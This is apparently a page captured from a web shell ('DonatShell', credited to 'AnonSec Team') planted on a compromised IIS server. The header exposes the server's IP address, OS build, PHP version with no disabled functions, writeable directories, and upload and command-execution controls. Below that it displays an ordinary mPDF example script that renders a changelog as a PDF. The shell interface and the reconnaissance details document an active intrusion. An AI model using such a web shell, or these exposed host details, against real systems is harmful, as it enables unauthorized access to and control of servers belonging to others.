DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/vendors/mpdf/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/vendors/mpdf/examples/example49_changelog.php
<?php
ini_set("memory_limit","384M");

// This is because changelog.txt contains over 100000 characters, and preg_* functions in mPDF won't work.
ini_set("pcre.backtrack_limit","200000");

include("../mpdf.php");

$mpdf=new mPDF(); 

$mpdf->tabSpaces = 6;

$mpdf->allow_charset_conversion=true;
$mpdf->charset_in='windows-1252';


//==============================================================

$html = '
<h1>mPDF</h1>
<h2>ChangeLog</h2>
<div style="border:1px solid #555555; background-color: #DDDDDD; padding: 1em; font-size:8pt; font-family: lucidaconsole, mono;">
';
$lines = file('../CHANGELOG.txt');

$html .= '<pre>';
foreach($lines AS $line) {
	$html .= htmlspecialchars($line);
}
$html .= '</pre>';
$html .= '</div>';

//==============================================================

$mpdf->WriteHTML($html);

$mpdf->Output();
exit;


?>

Anon7 - 2022
AnonSec Team